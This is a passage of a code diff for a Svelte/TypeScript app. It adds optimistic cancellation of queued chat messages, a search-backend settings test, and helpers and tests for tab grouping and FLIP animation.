+ await waitFor(() => expect(select).toBeEnabled());
+ await user.selectOptions(select, "none");
+
+ expect(await screen.findByText(/HTTP 500/)).toBeInTheDocument();
+ expect(select.value).toBe("firecrawl");
+ });
+
+ it("renders disabled with a 'search not available' hint on the 503 degrade", async () => {
+ const load = async (): Promise<SearchBackendConfigResult> => ({
+ ok: false,
+ error: "Search config failed (HTTP 503)",
+ unavailable: true,
+ });
+ render(SearchBackendField, { props: { load, save: okSave("none") } });
+ const select = await screen.findByLabelText("Search backend");
+ await waitFor(() => expect(select).toBeDisabled());
+ expect(screen.getByText(/Search not available/)).toBeInTheDocument();
+ // No help text in the unavailable state (nothing to explain — search is off).
+ expect(screen.queryByText(/search.*mode only/i)).not.toBeInTheDocument();
+ });
+
+ it("renders a loading skeleton while the initial GET is in flight", async () => {
+ let resolveLoad!: (r: SearchBackendConfigResult) => void;
+ const load = () =>
+ new Promise<SearchBackendConfigResult>((resolve) => {
+ resolveLoad = resolve;
+ });
+ render(SearchBackendField, { props: { load, save: okSave("none") } });
+ expect(screen.getByLabelText("Search backend loading")).toBeInTheDocument();
+ resolveLoad({ ok: true, config: CONFIG });
+ await screen.findByLabelText("Search backend");
+ });
+
+ it("prepends an unknown persisted selection as a selectable option", async () => {
+ const load = async (): Promise<SearchBackendConfigResult> => ({
+ ok: true,
+ config: { backend: "gone", available: [] },
+ });
+ render(SearchBackendField, { props: { load, save: okSave("none") } });
+ const select = (await screen.findByLabelText("Search backend")) as HTMLSelectElement;
+ await waitFor(() => expect(select).toBeEnabled());
+ expect(select.value).toBe("gone");
+ const labels = [...select.querySelectorAll("option")].map((o) => o.textContent);
+ expect(labels).toEqual(["gone (unknown)", "None (search disabled)"]);
+ });
+});
diff --git a/src/features/surface-host/index.ts b/src/features/surface-host/index.ts
index 1e21e3d..f6a3041 100644
--- a/src/features/surface-host/index.ts
+++ b/src/features/surface-host/index.ts
@@ -1,3 +1,4 @@
+export { MESSAGE_QUEUE_RENDERER_ID, messageQueueCount } from "./logic/message-queue";
export { buildInvoke, planSurface } from "./logic/plan";
export type { FieldView, SurfaceRenderPlan } from "./logic/types";
export { default as SurfaceView } from "./ui/SurfaceView.svelte";
diff --git a/src/features/surface-host/logic/message-queue.test.ts b/src/features/surface-host/logic/message-queue.test.ts
index 8d55eb7..93256b4 100644
--- a/src/features/surface-host/logic/message-queue.test.ts
+++ b/src/features/surface-host/logic/message-queue.test.ts
@@ -1,6 +1,12 @@
+import type { SurfaceSpec } from "@dispatch/ui-contract";
import type { QueuedMessage } from "@dispatch/wire";
import { describe, expect, it } from "vitest";
-import { parseMessageQueuePayload } from "./message-queue";
+import {
+ messageQueueCount,
+ parseMessageQueuePayload,
+ reconcileCancelledIds,
+ selectVisibleMessages,
+} from "./message-queue";
const msg = (id: string, text: string, queuedAt = 1_700_000_000_000): QueuedMessage => ({
id,
@@ -46,3 +52,89 @@ describe("parseMessageQueuePayload", () => {
expect(parseMessageQueuePayload(payload)).toBeNull();
});
});
+
+describe("selectVisibleMessages", () => {
+ it("returns the snapshot unchanged when nothing is cancelled", () => {
+ const messages = [msg("m1", "a"), msg("m2", "b")];
+ expect(selectVisibleMessages(messages, new Set())).toBe(messages);
+ });
+
+ it("hides the optimistically-cancelled row", () => {
+ const messages = [msg("m1", "a"), msg("m2", "b"), msg("m3", "c")];
+ expect(selectVisibleMessages(messages, new Set(["m2"])).map((m) => m.id)).toEqual(["m1", "m3"]);
+ });
+
+ it("hides multiple cancelled rows", () => {
+ const messages = [msg("m1", "a"), msg("m2", "b"), msg("m3", "c")];
+ expect(selectVisibleMessages(messages, new Set(["m1", "m3"])).map((m) => m.id)).toEqual(["m2"]);
+ });
+
+ it("tolerates a cancelled id not present in the snapshot (no-op)", () => {
+ const messages = [msg("m1", "a")];
+ expect(selectVisibleMessages(messages, new Set(["ghost"])).map((m) => m.id)).toEqual(["m1"]);
+ });
+});
+
+describe("reconcileCancelledIds", () => {
+ it("returns an empty set when nothing was cancelled", () => {
+ const result = reconcileCancelledIds([msg("m1", "a")], new Set());
+ expect(result.size).toBe(0);
+ });
+
+ it("drops ids the surface confirmed gone (no longer queued)", () => {
+ // m1 still queued (cancel pending), m2 confirmed gone (left the snapshot).
+ const messages = [msg("m1", "a")];
+ const result = reconcileCancelledIds(messages, new Set(["m1", "m2"]));
+ expect([...result]).toEqual(["m1"]);
+ });
+
+ it("returns the SAME set identity when nothing changed (no spurious cycle)", () => {
+ const messages = [msg("m1", "a"), msg("m2", "b")];
+ const cancelled = new Set(["m1", "m2"]);
+ expect(reconcileCancelledIds(messages, cancelled)).toBe(cancelled);
+ });
+
+ it("returns an empty set when all cancels were confirmed", () => {
+ const messages = [msg("m1", "a")];
+ expect(reconcileCancelledIds(messages, new Set(["m2", "m3"])).size).toBe(0);
+ });
+
+ it("keeps a still-queued cancelled id (cancel still pending)", () => {
+ const messages = [msg("m1", "a"), msg("m2", "b")];
+ const result = reconcileCancelledIds(messages, new Set(["m2"]));
+ expect([...result]).toEqual(["m2"]);
+ });
+});
+
+describe("messageQueueCount", () => {
+ const spec = (payload: unknown): SurfaceSpec => ({
+ id: "message-queue",
+ region: "inline",
+ title: "Message queue",
+ fields: [{ kind: "custom", rendererId: "message-queue", payload }],
+ });
+
+ it("counts messages, including image-only input", () => {
+ expect(messageQueueCount(spec({ messages: [msg("m1", ""), msg("m2", "next")] }))).toBe(2);
+ });
+
+ it("distinguishes an empty queue from an unavailable snapshot", () => {
+ expect(messageQueueCount(spec({ messages: [] }))).toBe(0);
+ expect(messageQueueCount(null)).toBeUndefined();
+ });
+
+ it("returns unknown for missing fields or a different renderer", () => {
+ expect(messageQueueCount({ ...spec(null), fields: [] })).toBeUndefined();
+ expect(
+ messageQueueCount({
+ ...spec(null),
+ fields: [{ kind: "custom", rendererId: "other", payload: { messages: [msg("m1", "x")] } }],
+ }),
+ ).toBeUndefined();
+ });
+
+ it("returns unknown for malformed payloads", () => {
+ expect(messageQueueCount(spec({ messages: "nope" }))).toBeUndefined();
+ expect(messageQueueCount(spec({ messages: [{ id: "m1" }] }))).toBeUndefined();
+ });
+});
diff --git a/src/features/surface-host/logic/message-queue.ts b/src/features/surface-host/logic/message-queue.ts
index 79707a5..a49d4d0 100644
--- a/src/features/surface-host/logic/message-queue.ts
+++ b/src/features/surface-host/logic/message-queue.ts
@@ -1,3 +1,4 @@
+import type { SurfaceSpec } from "@dispatch/ui-contract";
import type { QueuedMessage } from "@dispatch/wire";
/**
@@ -41,5 +42,75 @@ export function parseMessageQueuePayload(payload: unknown): MessageQueueData | n
return { messages };
}
+/** Queue size from a validated snapshot; absent/malformed data stays unknown. */
+export function messageQueueCount(spec: SurfaceSpec | null): number | undefined {
+ const field = spec?.fields.find(
+ (field) => field.kind === "custom" && field.rendererId === MESSAGE_QUEUE_RENDERER_ID,
+ );
+ if (field?.kind !== "custom") return undefined;
+ return parseMessageQueuePayload(field.payload)?.messages.length;
+}
+
/** The `rendererId` the message-queue extension's `custom` surface field uses. */
export const MESSAGE_QUEUE_RENDERER_ID = "message-queue";
+
+/**
+ * Optimistic-removal view-model for the queue list.
+ *
+ * The `chat.queue.cancel` op is fire-and-forget + idempotent: success is
+ * confirmed by the `message-queue` SURFACE updating (the cancelled message
+ * leaves the snapshot), not by a reply. To avoid a flash of the row lingering
+ * for a round-trip, the renderer hides a row the instant the user clicks cancel
+ * (tracking the cancelled id locally), then reconciles when the surface pushes
+ * the post-cancel snapshot. These two pure helpers drive that — the component
+ * holds the cancelled-id set as a thin `$state` wrapper and delegates all
+ * decisions here.
+ */
+
+/**
+ * The messages the renderer should show: the surface snapshot MINUS any
+ * optimistically-cancelled ids (a cancel whose surface confirmation hasn't
+ * arrived yet). Pure — no mutation of inputs.
+ */
+export function selectVisibleMessages(
+ messages: readonly QueuedMessage[],
+ cancelledIds: ReadonlySet<string>,
+): readonly QueuedMessage[] {
+ if (cancelledIds.size === 0) return messages;
+ return messages.filter((m) => !cancelledIds.has(m.id));
+}
+
+/**
+ * Reconcile the cancelled-id set against a NEW surface snapshot: keep only the
+ * ids that are STILL queued (the cancel is pending — its surface confirmation
+ * hasn't landed). Drop ids that have left the snapshot: the server confirmed
+ * the removal (or the message drained as steering / the queue cleared), so the
+ * optimistic hide is no longer needed. This keeps the set bounded — it never
+ * outlives the rows it tracks. Pure — returns a NEW set (callers assign it to
+ * the reactive `$state`).
+ */
+export function reconcileCancelledIds(
+ messages: readonly QueuedMessage[],
+ cancelledIds: ReadonlySet<string>,
+): ReadonlySet<string> {
+ if (cancelledIds.size === 0) return EMPTY_STRING_SET;
+ const stillQueued = new Set<string>();
+ for (const m of messages) {
+ if (cancelledIds.has(m.id)) stillQueued.add(m.id);
+ }
+ // Same set back → return the input identity so the component's `$state` setter
+ // sees no change (avoids a spurious reactive cycle).
+ if (stillQueued.size === cancelledIds.size) {
+ let same = true;
+ for (const id of cancelledIds) {
+ if (!stillQueued.has(id)) {
+ same = false;
+ break;
+ }
+ }
+ if (same) return cancelledIds;
+ }
+ return stillQueued;
+}
+
+const EMPTY_STRING_SET: ReadonlySet<string> = new Set<string>();
diff --git a/src/features/surface-host/ui/MessageQueueList.svelte b/src/features/surface-host/ui/MessageQueueList.svelte
index 554fa02..b260de2 100644
--- a/src/features/surface-host/ui/MessageQueueList.svelte
+++ b/src/features/surface-host/ui/MessageQueueList.svelte
@@ -1,21 +1,92 @@
<script lang="ts">
- import { parseMessageQueuePayload } from "../logic/message-queue";
+ import {
+ parseMessageQueuePayload,
+ reconcileCancelledIds,
+ selectVisibleMessages,
+ } from "../logic/message-queue";
- let { payload }: { readonly payload: unknown } = $props();
+ let {
+ payload,
+ onCancel,
+ }: {
+ readonly payload: unknown;
+ /**
+ * Cancel (remove) a single queued message by id (`chat.queue.cancel`).
+ * Required-but-nullable (not optional) so a parent can thread a
+ * `| undefined` callback through under `exactOptionalPropertyTypes`:
+ * `undefined` → a read-only list (no × affordance), e.g. a generic surface
+ * context with no conversation scope. The list still reconciles from the
+ * surface either way.
+ */
+ readonly onCancel: ((messageId: string) => void) | undefined;
+ } = $props();
// Parse defensively; an unparseable payload yields null → render nothing
// (graceful skip, per the custom-field contract).
const data = $derived(parseMessageQueuePayload(payload));
+
+ // Optimistic-removal: a cancelled id is hidden the instant the user clicks,
+ // ahead of the surface's post-cancel snapshot. Reconcile on every payload
+ // change so a confirmed-removed id (no longer in the snapshot) is dropped
+ // from the set — keeping it bounded (pure helpers in logic/message-queue).
+ let cancelledIds = $state<ReadonlySet<string>>(new Set());
+
+ $effect(() => {
+ const parsed = data;
+ if (parsed === null) return;
+ const next = reconcileCancelledIds(parsed.messages, cancelledIds);
+ if (next !== cancelledIds) cancelledIds = next;
+ });
+
+ const visible = $derived(
+ data === null ? [] : selectVisibleMessages(data.messages, cancelledIds),
+ );
+
+ function handleCancel(messageId: string): void {
+ // Optimistically hide the row + fire the cancel (fire-and-forget; the
+ // surface update reconciles). Idempotent server-side, so a double-click or
+ // a cancel of an already-drained message is a silent no-op — no rollback.
+ if (cancelledIds.has(messageId)) return;
+ const next = new Set(cancelledIds);
+ next.add(messageId);
+ cancelledIds = next;
+ onCancel?.(messageId);
+ }
</script>
{#if data !== null && data.messages.length > 0}
<ul class="flex flex-col gap-1 text-sm">
- {#each data.messages as msg (msg.id)}
- <li class="rounded-box bg-base-200 px-3 py-2">
- <p class="whitespace-pre-wrap">{msg.text}</p>
- <time class="text-xs opacity-50" datetime={new Date(msg.queuedAt).toISOString()}>
- {new Date(msg.queuedAt).toLocaleTimeString()}
- </time>
+ {#each visible as msg (msg.id)}
+ <li class="flex items-start gap-2 rounded-box bg-base-200 px-3 py-2">
+ <div class="min-w-0 flex-1">
+ <p class="whitespace-pre-wrap break-words">{msg.text}</p>
+ <time class="text-xs opacity-50" datetime={new Date(msg.queuedAt).toISOString()}>
+ {new Date(msg.queuedAt).toLocaleTimeString()}
+ </time>
+ </div>
+ {#if onCancel !== undefined}
+ <button
+ type="button"
+ class="btn btn-ghost btn-xs btn-square shrink-0 opacity-60 hover:opacity-100"
+ title="Cancel this queued message"
+ aria-label="Cancel this queued message"
+ onclick={() => handleCancel(msg.id)}
+ >
+ <svg
+ xmlns="http://www.w3.org/2000/svg"
+ viewBox="0 0 24 24"
+ fill="none"
+ stroke="currentColor"
+ stroke-width="2.5"
+ stroke-linecap="round"
+ stroke-linejoin="round"
+ class="h-3.5 w-3.5"
+ >
+ <line x1="18" y1="6" x2="6" y2="18"></line>
+ <line x1="6" y1="6" x2="18" y2="18"></line>
+ </svg>
+ </button>
+ {/if}
</li>
{/each}
</ul>
diff --git a/src/features/surface-host/ui/MessageQueueList.test.ts b/src/features/surface-host/ui/MessageQueueList.test.ts
new file mode 100644
index 0000000..53044b3
--- /dev/null
+++ b/src/features/surface-host/ui/MessageQueueList.test.ts
@@ -0,0 +1,135 @@
+import type { QueuedMessage } from "@dispatch/wire";
+import { render, screen } from "@testing-library/svelte";
+import userEvent from "@testing-library/user-event";
+import { describe, expect, it, vi } from "vitest";
+import MessageQueueList from "./MessageQueueList.svelte";
+
+function msg(id: string, text: string, queuedAt = 1_700_000_000_000): QueuedMessage {
+ return { id, text, queuedAt };
+}
+
+/** Build the message-queue surface field payload. */
+function payload(messages: readonly QueuedMessage[]): { messages: readonly QueuedMessage[] } {
+ return { messages };
+}
+
+describe("MessageQueueList", () => {
+ it("renders each queued message's text", () => {
+ render(MessageQueueList, {
+ props: {
+ payload: payload([msg("m1", "steer left"), msg("m2", "go right")]),
+ onCancel: undefined,
+ },
+ });
+ expect(screen.getByText("steer left")).toBeInTheDocument();
+ expect(screen.getByText("go right")).toBeInTheDocument();
+ });
+
+ it("renders nothing when the queue is empty", () => {
+ const { container } = render(MessageQueueList, {
+ props: { payload: payload([]), onCancel: undefined },
+ });
+ expect(container.querySelector("ul")).toBeNull();
+ });
+
+ it("renders nothing for a malformed payload (graceful skip)", () => {
+ const { container } = render(MessageQueueList, {
+ props: { payload: { nope: true }, onCancel: undefined },
+ });
+ expect(container.querySelector("ul")).toBeNull();
+ });
+
+ it("omits the cancel button when no onCancel is wired (read-only)", () => {
+ render(MessageQueueList, {
+ props: { payload: payload([msg("m1", "steer")]), onCancel: undefined },
+ });
+ expect(screen.queryByRole("button", { name: /cancel/i })).toBeNull();
+ });
+
+ it("renders a cancel button per row when onCancel is wired", () => {
+ render(MessageQueueList, {
+ props: { payload: payload([msg("m1", "a"), msg("m2", "b")]), onCancel: vi.fn() },
+ });
+ expect(screen.getAllByRole("button", { name: /cancel/i })).toHaveLength(2);
+ });
+
+ it("clicking cancel fires onCancel with the row's message id and optimistically hides the row", async () => {
+ const user = userEvent.setup();
+ const onCancel = vi.fn();
+ render(MessageQueueList, {
+ props: { payload: payload([msg("m1", "keep me"), msg("m2", "cancel me")]), onCancel },
+ });
+
+ // Both rows visible before click.
+ expect(screen.getByText("keep me")).toBeInTheDocument();
+ expect(screen.getByText("cancel me")).toBeInTheDocument();
+
+ const buttons = screen.getAllByRole("button", { name: /cancel/i });
+ // Cancel the SECOND row (m2). Buttons mirror row order.
+ const cancelM2 = buttons[1];
+ if (cancelM2 === undefined) throw new Error("expected two cancel buttons");
+ await user.click(cancelM2);
+
+ expect(onCancel).toHaveBeenCalledTimes(1);
+ expect(onCancel).toHaveBeenCalledWith("m2");
+ // m2 is optimistically hidden immediately; m1 remains.
+ expect(screen.getByText("keep me")).toBeInTheDocument();
+ expect(screen.queryByText("cancel me")).toBeNull();
+ });
+
+ it("does not fire onCancel twice for a double-click on the same row (idempotent client-side)", async () => {
+ const user = userEvent.setup();
+ const onCancel = vi.fn();
+ render(MessageQueueList, {
+ props: { payload: payload([msg("m1", "x")]), onCancel },
+ });
+
+ const button = screen.getByRole("button", { name: /cancel/i });
+ await user.click(button);
+ // The row is gone after the first click; the button left the DOM, so a
+ // second click on the stale element is a no-op — onCancel fires once.
+ await user.click(button).catch(() => {});
+ expect(onCancel).toHaveBeenCalledTimes(1);
+ });
+
+ it("reconciles from the surface: a cancelled id gone from the snapshot clears the optimistic hide", async () => {
+ const user = userEvent.setup();
+ const onCancel = vi.fn();
+ const { rerender } = render(MessageQueueList, {
+ props: { payload: payload([msg("m1", "a"), msg("m2", "b")]), onCancel },
+ });
+
+ // Cancel m1 — it hides optimistically.
+ const cancelButtons = screen.getAllByRole("button", { name: /cancel/i });
+ const cancelM1 = cancelButtons[0];
+ if (cancelM1 === undefined) throw new Error("expected a cancel button");
+ await user.click(cancelM1);
+ expect(screen.queryByText("a")).toBeNull();
+ expect(screen.getByText("b")).toBeInTheDocument();
+
+ // The surface pushes the post-cancel snapshot: m1 is gone (server confirmed).
+ // A NEW message m3 arrives in the same snapshot. The list renders m2 + m3.
+ rerender({ payload: payload([msg("m2", "b"), msg("m3", "c")]), onCancel });
+ expect(screen.queryByText("a")).toBeNull();
+ expect(screen.getByText("b")).toBeInTheDocument();
+ expect(screen.getByText("c")).toBeInTheDocument();
+ });
+
+ it("re-shows a row if the surface snapshot still contains a cancelled id (cancel not yet confirmed)", async () => {
+ // Edge case: the cancel is in flight and the surface hasn't updated yet, but
+ // a re-render with the SAME snapshot must keep the row hidden (optimistic).
+ const user = userEvent.setup();
+ const onCancel = vi.fn();
+ const samePayload = payload([msg("m1", "a")]);
+ const { rerender } = render(MessageQueueList, {
+ props: { payload: samePayload, onCancel },
+ });
+
+ await user.click(screen.getByRole("button", { name: /cancel/i }));
+ expect(screen.queryByText("a")).toBeNull();
+
+ // Re-render with the same (stale) snapshot — the row stays hidden.
+ rerender({ payload: payload([msg("m1", "a")]), onCancel });
+ expect(screen.queryByText("a")).toBeNull();
+ });
+});
diff --git a/src/features/surface-host/ui/SurfaceView.svelte b/src/features/surface-host/ui/SurfaceView.svelte
index aed8d03..8ce8ade 100644
--- a/src/features/surface-host/ui/SurfaceView.svelte
+++ b/src/features/surface-host/ui/SurfaceView.svelte
@@ -11,7 +11,22 @@
import TodoList from "./TodoList.svelte";
import Toggle from "./Toggle.svelte";
- let { spec, onInvoke }: { spec: SurfaceSpec; onInvoke: (msg: InvokeMessage) => void } = $props();
+ let {
+ spec,
+ onInvoke,
+ onCancelQueuedMessage,
+ }: {
+ spec: SurfaceSpec;
+ onInvoke: (msg: InvokeMessage) => void;
+ /**
+ * Cancel a queued message by id — threaded ONLY to the `message-queue`
+ * renderer. Optional + scoped: generic surfaces (which pass nothing) keep
+ * rendering a read-only queue list. Kept as a typed callback (never a
+ * stringly-typed bus); the renderer dispatch is on `rendererId` (a renderer
+ * KIND), never the surface id.
+ */
+ onCancelQueuedMessage?: (messageId: string) => void;
+ } = $props();
const plan = $derived(planSurface(spec));
// Consecutive stats render together as one aligned table; everything else is
@@ -40,7 +55,7 @@
{#if group.field.rendererId === "table"}
<SurfaceTable payload={group.field.payload} />
{:else if group.field.rendererId === "message-queue"}
- <MessageQueueList payload={group.field.payload} />
+ <MessageQueueList payload={group.field.payload} onCancel={onCancelQueuedMessage} />
{:else if group.field.rendererId === "todo"}
<TodoList payload={group.field.payload} />
{/if}
diff --git a/src/features/tabs/index.ts b/src/features/tabs/index.ts
index 7520215..145a3d9 100644
--- a/src/features/tabs/index.ts
+++ b/src/features/tabs/index.ts
@@ -1,3 +1,17 @@
+export type { GroupTone, TabGroupForest, TabGroupNode } from "./tab-groups";
+export {
+ buildTabGroups,
+ cascadeCloseIds,
+ directGroupChildren,
+ GROUP_TONES,
+ groupBleedPx,
+ groupDescendants,
+ groupGutterPx,
+ groupParentCandidates,
+ groupTone,
+ lastRowIsGroup,
+ visibleGroupParents,
+} from "./tab-groups";
export type { Tab, TabsState } from "./tabs";
export {
activeTab,
@@ -9,6 +23,7 @@ export {
newDraft,
selectTab,
setModel,
+ setTabGroupParent,
setTitle,
shortHandle,
} from "./tabs";
diff --git a/src/features/tabs/tab-flip.test.ts b/src/features/tabs/tab-flip.test.ts
new file mode 100644
index 0000000..43e966f
--- /dev/null
+++ b/src/features/tabs/tab-flip.test.ts
@@ -0,0 +1,52 @@
+import { describe, expect, it } from "vitest";
+import { cardFlipId, forestFlipIds, groupFlipId, isGroupFlipId, leavingFlipIds } from "./tab-flip";
+import { buildTabGroups } from "./tab-groups";
+import type { Tab } from "./tabs";
+
+function tab(id: string, parent?: string): Tab {
+ return {
+ conversationId: id,
+ model: "m",
+ title: id,
+ workspaceId: "w",
+ ...(parent !== undefined ? { tabGroupParentId: parent } : {}),
+ };
+}
+
+describe("flip ids", () => {
+ it("distinguishes a card from the group box of the same conversation", () => {
+ expect(cardFlipId("p")).not.toBe(groupFlipId("p"));
+ expect(isGroupFlipId(groupFlipId("p"))).toBe(true);
+ expect(isGroupFlipId(cardFlipId("p"))).toBe(false);
+ });
+});
+
+describe("forestFlipIds", () => {
+ it("lists every card plus a box for each tab that has visible subagents", () => {
+ const forest = buildTabGroups([tab("p"), tab("c", "p"), tab("g", "c"), tab("solo")]);
+ expect([...forestFlipIds(forest)].sort()).toEqual(
+ ["c", "g", "group:c", "group:p", "p", "solo"].sort(),
+ );
+ });
+
+ it("has no boxes when nothing is grouped", () => {
+ expect([...forestFlipIds(buildTabGroups([tab("a"), tab("b")]))]).toEqual(["a", "b"]);
+ });
+});
+
+describe("leavingFlipIds", () => {
+ it("returns the rendered ids the next render drops, in rendered order", () => {
+ const before = buildTabGroups([tab("p"), tab("c", "p"), tab("solo")]);
+ // Closing the only subagent drops its card AND the parent's group box.
+ const after = buildTabGroups([tab("p"), tab("solo")]);
+ expect(leavingFlipIds([...forestFlipIds(before)], forestFlipIds(after))).toEqual([
+ "group:p",
+ "c",
+ ]);
+ });
+
+ it("is empty when a tab is only added", () => {
+ const next = forestFlipIds(buildTabGroups([tab("a"), tab("b", "a")]));
+ expect(leavingFlipIds(["a"], next)).toEqual([]);
+ });
+});
diff --git a/src/features/tabs/tab-flip.ts b/src/features/tabs/tab-flip.ts
new file mode 100644
index 0000000..3bb4c03
--- /dev/null
+++ b/src/features/tabs/tab-flip.ts
@@ -0,0 +1,45 @@
+import type { TabGroupForest, TabGroupNode } from "./tab-groups";
+
+/**
+ * Flip ids — the PURE identity scheme behind the tab grid's FLIP animation.
+ *
+ * Every animated element carries a `data-flip-id`: a tab card uses its
+ * conversation id, a group box uses `group:<parent conversation id>`. The ids
+ * are stable across re-renders even when the DOM node is replaced (a card
+ * becoming a double-width group parent is a NEW node), which is what lets
+ * GSAP Flip morph the old element into the new one.
+ */
+
+const GROUP_PREFIX = "group:";
+
+/** Flip id of a tab card. */
+export function cardFlipId(conversationId: string): string {
+ return conversationId;
+}
+
+/** Flip id of the group box wrapping `parentConversationId` + its subagents. */
+export function groupFlipId(parentConversationId: string): string {
+ return `${GROUP_PREFIX}${parentConversationId}`;
+}
+
+/** Whether a flip id names a group box (vs a tab card). */
+export function isGroupFlipId(flipId: string): boolean {
+ return flipId.startsWith(GROUP_PREFIX);
+}
+
+/** Every flip id the grid renders for `forest` (cards + group boxes). */
+export function forestFlipIds(forest: TabGroupForest): Set<string> {
+ const out = new Set<string>();
+ const walk = (node: TabGroupNode): void => {
+ out.add(cardFlipId(node.tab.conversationId));
+ if (node.children.length > 0) out.add(groupFlipId(node.tab.conversationId));
+ for (const child of node.children) walk(child);
+ };
+ for (const root of forest.roots) walk(root);
+ return out;
+}
+
+/** The currently-rendered flip ids that the NEXT render drops (order kept). */
+export function leavingFlipIds(current: readonly string[], next: ReadonlySet<string>): string[] {
+ return current.filter((id) => !next.has(id));
+}
diff --git a/src/features/tabs/tab-groups.test.ts b/src/features/tabs/tab-groups.test.ts
new file mode 100644
index 0000000..46b04e7
--- /dev/null
+++ b/src/features/tabs/tab-groups.test.ts
@@ -0,0 +1,219 @@
+import { describe, expect, it } from "vitest";
+import {
+ buildTabGroups,
+ cascadeCloseIds,
+ directGroupChildren,
+ groupBleedPx,
+ groupDescendants,
+ groupGutterPx,
+ groupParentCandidates,
+ groupTone,
+ lastRowIsGroup,
+ visibleGroupParents,
+} from "./tab-groups";
+import type { Tab } from "./tabs";
+
+function tab(id: string, parent?: string): Tab {
+ return {
+ conversationId: id,
+ model: "m",
+ title: id.toUpperCase(),
+ workspaceId: "w",
+ ...(parent !== undefined ? { tabGroupParentId: parent } : {}),
+ };
+}
+
+const ids = (tabs: readonly Tab[]): string[] => tabs.map((t) => t.conversationId);
+
+describe("visibleGroupParents", () => {
+ it("keeps a parent that is another open tab", () => {
+ const parents = visibleGroupParents([tab("a"), tab("b", "a")]);
+ expect(parents.get("a")).toBeNull();
+ expect(parents.get("b")).toBe("a");
+ });
+
+ it("drops a parent that is not open (closed / other workspace) or is the tab itself", () => {
+ const parents = visibleGroupParents([tab("a", "gone"), tab("b", "b")]);
+ expect(parents.get("a")).toBeNull();
+ expect(parents.get("b")).toBeNull();
+ });
+
+ it("treats every member of a cycle as a root, but keeps hangers-on below them", () => {
+ const parents = visibleGroupParents([tab("a", "b"), tab("b", "a"), tab("c", "a")]);
+ expect(parents.get("a")).toBeNull();
+ expect(parents.get("b")).toBeNull();
+ expect(parents.get("c")).toBe("a");
+ });
+});
+
+describe("buildTabGroups", () => {
+ it("returns flat roots and depth 0 when nothing is grouped", () => {
+ const forest = buildTabGroups([tab("a"), tab("b"), tab("c")]);
+ expect(forest.maxDepth).toBe(0);
+ expect(forest.roots.map((n) => n.tab.conversationId)).toEqual(["a", "b", "c"]);
+ expect(forest.roots.every((n) => n.children.length === 0)).toBe(true);
+ });
+
+ it("nests children under their parent in tab order, preserving root order", () => {
+ // Child listed BEFORE its parent still nests under it.
+ const forest = buildTabGroups([tab("x", "p"), tab("a"), tab("p"), tab("y", "p")]);
+ expect(forest.maxDepth).toBe(1);
+ expect(forest.roots.map((n) => n.tab.conversationId)).toEqual(["a", "p"]);
+ const p = forest.roots[1];
+ expect(p?.children.map((n) => n.tab.conversationId)).toEqual(["x", "y"]);
+ });
+
+ it("supports nested groups (subagents with subagents) and reports the depth", () => {
+ const forest = buildTabGroups([tab("p"), tab("c", "p"), tab("g", "c"), tab("gg", "g")]);
+ expect(forest.maxDepth).toBe(3);
+ const c = forest.roots[0]?.children[0];
+ expect(c?.tab.conversationId).toBe("c");
+ expect(c?.children[0]?.children[0]?.tab.conversationId).toBe("gg");
+ });
+
+ it("renders every tab exactly once", () => {
+ const tabs = [tab("a", "b"), tab("b", "a"), tab("c", "a"), tab("d", "nope"), tab("e", "c")];
+ const seen: string[] = [];
+ const walk = (nodes: ReturnType<typeof buildTabGroups>["roots"]): void => {
+ for (const n of nodes) {
+ seen.push(n.tab.conversationId);
+ walk(n.children);
+ }
+ };
+ walk(buildTabGroups(tabs).roots);
+ expect(seen.sort()).toEqual(["a", "b", "c", "d", "e"]);
+ });
+});
+
+describe("groupDescendants / directGroupChildren / groupParentCandidates", () => {
+ const tabs = [tab("p"), tab("c1", "p"), tab("c2", "p"), tab("g", "c1"), tab("solo")];
+
+ it("collects transitive descendants", () => {
+ expect([...groupDescendants(tabs, "p")].sort()).toEqual(["c1", "c2", "g"]);
+ expect([...groupDescendants(tabs, "c1")]).toEqual(["g"]);
+ expect(groupDescendants(tabs, "solo").size).toBe(0);
+ });
+
+ it("lists direct children only", () => {
+ expect(directGroupChildren(tabs, "p")).toEqual(["c1", "c2"]);
+ });
+
+ it("offers every tab except self, descendants (cycle) and the current parent", () => {
+ expect(ids(groupParentCandidates(tabs, "c1"))).toEqual(["c2", "solo"]);
+ expect(ids(groupParentCandidates(tabs, "p"))).toEqual(["solo"]);
+ expect(ids(groupParentCandidates(tabs, "solo"))).toEqual(["p", "c1", "c2", "g"]);
+ });
+});
+
+describe("cascadeCloseIds (the ids a cascading tab close removes)", () => {
+ const tabs = [
+ tab("p"),
+ tab("c1", "p"),
+ tab("c2", "p"),
+ tab("g", "c1"), // sub-sub-agent: grouped under c1, still cascades from p
+ tab("solo"),
+ ];
+
+ it("returns the tab first, then its transitive descendants in tab order", () => {
+ expect(cascadeCloseIds(tabs, "p")).toEqual(["p", "c1", "c2", "g"]);
+ });
+
+ it("starts the cascade at a mid-level tab, taking only its own subtree", () => {
+ expect(cascadeCloseIds(tabs, "c1")).toEqual(["c1", "g"]);
+ });
+
+ it("returns just the tab itself when it has no subagents (closes without a prompt)", () => {
+ expect(cascadeCloseIds(tabs, "solo")).toEqual(["solo"]);
+ expect(cascadeCloseIds(tabs, "c2")).toEqual(["c2"]);
+ });
+
+ it("matches the rendered forest for cycles and manual regrouping", () => {
+ const cycle = [tab("p", "c1"), tab("c1", "p"), tab("g", "c1")];
+ expect(cascadeCloseIds(cycle, "p")).toEqual(["p"]);
+ expect(cascadeCloseIds(cycle, "c1")).toEqual(["c1", "g"]);
+ const regrouped = [tab("p"), tab("c1", "solo"), tab("g", "c1"), tab("solo")];
+ expect(cascadeCloseIds(regrouped, "p")).toEqual(["p"]);
+ expect(cascadeCloseIds(regrouped, "solo")).toEqual(["solo", "c1", "g"]);
+ });
+
+ it("ignores tabs whose group parent is no longer open", () => {
+ const stale = [tab("p"), tab("orphan", "gone")];
+ expect(cascadeCloseIds(stale, "p")).toEqual(["p"]);
+ });
+});
+
+describe("groupTone", () => {
+ it("rotates three colours by level, starting at the outermost box", () => {
+ expect([1, 2, 3, 4, 5, 6, 7].map(groupTone)).toEqual([
+ "secondary",
+ "success",
+ "accent",
+ "secondary",
+ "success",
+ "accent",
+ "secondary",
+ ]);
+ });
+
+ it("never gives a box the colour of its parent or grandparent", () => {
+ for (let level = 3; level <= 20; level++) {
+ expect(groupTone(level)).not.toBe(groupTone(level - 1));
+ expect(groupTone(level)).not.toBe(groupTone(level - 2));
+ }
+ });
+
+ it("never uses primary (reserved for the active tab)", () => {
+ for (let level = 1; level <= 6; level++) expect(groupTone(level)).not.toBe("primary");
+ });
+
